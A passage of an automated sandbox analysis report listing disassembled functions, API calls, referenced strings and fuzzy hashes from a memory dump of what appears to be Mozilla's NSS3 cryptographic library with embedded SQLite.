SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CAFF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBC218C), ref: 6CAFF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CAFF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAFF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAFF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CAFF210

Part of subcall function 6CAA52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CAFF1E9,?,00000000,?,?), ref: 6CAA52F5
Part of subcall function 6CAA52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CAA530F
Part of subcall function 6CAA52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CAA5326
Part of subcall function 6CAA52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CAFF1E9,?,00000000,?,?), ref: 6CAA5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAFF227

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CAFF23E

Part of subcall function 6CAEBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA9E708,00000000,00000000,00000004,00000000), ref: 6CAEBE6A
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAA04DC,?), ref: 6CAEBE7E
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAEBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAFF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAFF3A8

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAFF3B3

Part of subcall function 6CAA2D20: PK11_DestroyObject.NSS3(?,?), ref: 6CAA2D3C
Part of subcall function 6CAA2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAA2D5F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: e3affd2f3392ea0c4e1584d19d395993184231b088c1337c642a9314437a0c83
Instruction ID: bff71c8166ab8711b386ee96bb509b9ab878232f084c94baa05a96855796bd6e
Opcode Fuzzy Hash: e3affd2f3392ea0c4e1584d19d395993184231b088c1337c642a9314437a0c83
Instruction Fuzzy Hash: CFD18DB6E012059FDB10CFA9DD80A9EB7F5EF48308F19812DE925A7711E771E886CB50

Function 6CB2DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CB07FFA,00000000,?,6CB323B9,00000002,00000000,?,6CB07FFA,00000002), ref: 6CB2DE33

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

Part of subcall function 6CB2D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CB2DE74,6CB07FFA,00000002,?,?,?,?,?,00000000,6CB07FFA,00000000,?,6CB323B9,00000002), ref: 6CB2D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CB07FFA,00000000,?,6CB323B9,00000002,00000000,?,6CB07FFA,00000002), ref: 6CB2DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CB2DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB2E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB2E121
PK11_FreeSymKey.NSS3(?), ref: 6CB2E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CB2E195
PR_GetCurrentThread.NSS3 ref: 6CB2E1FC

Part of subcall function 6CB22460: PR_SetError.NSS3(FFFFE005,00000000,6CBC7379,00000002,?), ref: 6CB22493

Strings

handshake data, xrefs: 6CB2DFF7
key, xrefs: 6CB2E046
application data, xrefs: 6CB2DFE0
early application data, xrefs: 6CB2DFC9

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 1cb5c718fdf0fcf794e0371fd0617a3c37fbdaa76ff7821910ecc4f5fdd1540c
Instruction ID: 478ad645d7ff29e8e1c7669f43b85fedbee90f8ca2e59bfbd2193a789ef6ed44
Opcode Fuzzy Hash: 1cb5c718fdf0fcf794e0371fd0617a3c37fbdaa76ff7821910ecc4f5fdd1540c
Instruction Fuzzy Hash: 76C1E271A002959BDB14CF76DC80BBEB7B4FF08309F144138E90D9BA51E339A955CBA2

Function 6CA1ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CA1EF98

Strings

database corruption, xrefs: 6CA1F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1F483
%s at line %d of [%.10s], xrefs: 6CA1F492

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: faa27704279845fb437324faa9b73ee2efddbc9c5699c7686301d936fb352901
Instruction ID: 01a395191523c19a16a70c99783452429b59906f169996839c87e8a58edbc71b
Opcode Fuzzy Hash: faa27704279845fb437324faa9b73ee2efddbc9c5699c7686301d936fb352901
Instruction Fuzzy Hash: 3662E174A082858FDB04CF69C884B9ABBB1BF45328F1C419DD8565BF92D735E8C6CB90

Function 6CABFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CABFD06

Part of subcall function 6CABF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CABF696
Part of subcall function 6CABF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CABF789
Part of subcall function 6CABF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CABF796
Part of subcall function 6CABF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CABF79F
Part of subcall function 6CABF670: SECITEM_DupItem_Util.NSS3 ref: 6CABF7F0

Part of subcall function 6CAE3440: PK11_GetAllTokens.NSS3 ref: 6CAE3481
Part of subcall function 6CAE3440: PR_SetError.NSS3(00000000,00000000), ref: 6CAE34A3
Part of subcall function 6CAE3440: TlsGetValue.KERNEL32 ref: 6CAE352E
Part of subcall function 6CAE3440: EnterCriticalSection.KERNEL32(?), ref: 6CAE3542
Part of subcall function 6CAE3440: PR_Unlock.NSS3(?), ref: 6CAE355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CABFDAD

Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CA99003,?), ref: 6CAEFD91
Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(A4686CAF,?), ref: 6CAEFDA2
Part of subcall function 6CAEFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CAF,?,?), ref: 6CAEFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CABFE00

Part of subcall function 6CAEFD80: free.MOZGLUE(00000000,?,?), ref: 6CAEFDD1

Part of subcall function 6CADE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CADE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CABFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CABFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CABFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CABFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CABFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CABFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CAC0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CAC0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CAC0044

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 30a462d0a65124f1f795427a593f7cc9ff105243443950dcaad8cb7db0cb43a6
Instruction ID: 782213e8b6ee577a81dfadbff46cf417b721748404c67b5dc5e4fe4ac1eb15f4
Opcode Fuzzy Hash: 30a462d0a65124f1f795427a593f7cc9ff105243443950dcaad8cb7db0cb43a6
Instruction Fuzzy Hash: D9B1B5796042019FE704CF29CC40A6AB7E9FF88308F59861DF99D97A41E770E994CB91

Function 6CAB7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CAB7DDC

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAB7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CAB7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CAB7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CAB7F98
PK11_FreeSymKey.NSS3(?), ref: 6CAB7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CAB8000

Part of subcall function 6CAD9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CAB7F0C,?,00000000,00000000,00000000,?), ref: 6CAD943B
Part of subcall function 6CAD9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CAD946B
Part of subcall function 6CAD9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CAD9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CAB811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CAB822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAB823C

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: a4de0b759f2af1ce8c1972fd6677b0499ae40af169440c50fb13655c1234f41b
Instruction ID: 0022f60cccd69f409e73862668c707b0dade5e0ac97091652748b8754cd04c3a
Opcode Fuzzy Hash: a4de0b759f2af1ce8c1972fd6677b0499ae40af169440c50fb13655c1234f41b
Instruction Fuzzy Hash: B2C15DB1D402599BEB21CF18CD40BEAB7B9AF05348F0481A5E91DB6641E7719EC98FA0

Function 6CAC0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CAC0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAC0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CAC1006
PK11_FreeSymKey.NSS3(?), ref: 6CAC101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAC1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CAC1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAC10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CAC10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC112E

Part of subcall function 6CAC1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CAC08C4,?,?), ref: 6CAC15B8
Part of subcall function 6CAC1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CAC08C4,?,?), ref: 6CAC15C1
Part of subcall function 6CAC1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC162E
Part of subcall function 6CAC1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC1637

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 78915ef522ec29d19d8e3fe71fc0461eddc40dab64e2551ed60e67c7562c2274
Instruction ID: 81e37c11e69b37abc4942c0a7dd9eca55136e22a247518f4d243eadbb6c7655d
Opcode Fuzzy Hash: 78915ef522ec29d19d8e3fe71fc0461eddc40dab64e2551ed60e67c7562c2274
Instruction Fuzzy Hash: 1071C0B1B002458FDB04CFA5DD84A6AB7F0FF48318F18862DEA1997711E731D989CB92

Function 6CAE1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CAE1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CAE2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CAE228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CAE23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAE241C

Strings

token, xrefs: 6CAE1F2C
manufacturer, xrefs: 6CAE2179
model, xrefs: 6CAE23CB, 6CAE23EC
serial, xrefs: 6CAE22A2

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 1706daff44eaf36e2adf05a92c7ca7e7dc0eaa2f82cec42ecb07b9462981b2bb
Instruction ID: fbb0d2d7e4d65b13272101f4e847251d36028ee79578f914e4804e19dea31ed2
Opcode Fuzzy Hash: 1706daff44eaf36e2adf05a92c7ca7e7dc0eaa2f82cec42ecb07b9462981b2bb
Instruction Fuzzy Hash: 3E0210A2E0C7C96EF7318671C44C3D77AE09B49328F0C166EC6DE46683C7A859C9A7D1

Function 6CAE6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C3F

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C60
PR_ExplodeTime.NSS3(00000000,6CA91C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C94

Strings

gfff, xrefs: 6CAE6CFD
gfff, xrefs: 6CAE6CF5
gfff, xrefs: 6CAE6D30
gfff, xrefs: 6CAE6D9C
gfff, xrefs: 6CAE6D66

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: a3294229888181108d6d27e9779954bc83be35e8eceaaebad79881d2c0520bd0
Instruction ID: 7d049e565a34465fcae1cacda9f078fe0dc481691af6e22d9f85e84a02c1f891
Opcode Fuzzy Hash: a3294229888181108d6d27e9779954bc83be35e8eceaaebad79881d2c0520bd0
Instruction Fuzzy Hash: 64513A72B016494FC708CDADDC927DEB7DAABA8310F48C23AE442DB781D638D946C791

Function 6CB60F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CB61027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB610B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB61353

Strings

%02x, xrefs: 6CB612F6
-- , xrefs: 6CB60FF5
'%.*q', xrefs: 6CB61217, 6CB61292
NULL, xrefs: 6CB6119E
zeroblob(%d), xrefs: 6CB61223
%lld, xrefs: 6CB6114B
$, xrefs: 6CB612A0

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: a3745c25167ee0a9e5fe0d47b61a3887e84dbccca10c277e6abfa2d8564575a6
Instruction ID: 28c946cef08c76d6d43cab6dcd8b6ecbfa0c975750e24552f191c0806b5c7f25
Opcode Fuzzy Hash: a3745c25167ee0a9e5fe0d47b61a3887e84dbccca10c277e6abfa2d8564575a6
Instruction Fuzzy Hash: 28E19D75A083809BD714CF1AC480A6BBBF5EF85358F08892DE98587B51E771E949CB83

Function 6CB68FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB68FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB690DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB69118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB6915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB691C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB69209

Strings

3333, xrefs: 6CB6925E
UUUU, xrefs: 6CB69255

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: d1d1c55dd0fd72906947836a3ef63e4424e475eb5ac01bdac0084e6fbc922802
Instruction ID: 4b44b3aa01e2c9cd30b3c944981bc5cf7320724b8c74e5bd4597c9b13471bb6d
Opcode Fuzzy Hash: d1d1c55dd0fd72906947836a3ef63e4424e475eb5ac01bdac0084e6fbc922802
Instruction Fuzzy Hash: BFA1AE72E001559BDB08CB69CC90BAEB7B9FF88324F094139E915A7741E736EC51CBA1

Function 6CA20FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CA2103E
EnterCriticalSection.KERNEL32(?), ref: 6CA21139
LeaveCriticalSection.KERNEL32(?), ref: 6CA21190
sqlite3_free.NSS3(00000000), ref: 6CA21227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CA2126E
sqlite3_free.NSS3(?), ref: 6CA2127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CA21267
winAccess, xrefs: 6CA2129B

Memory Dump Source

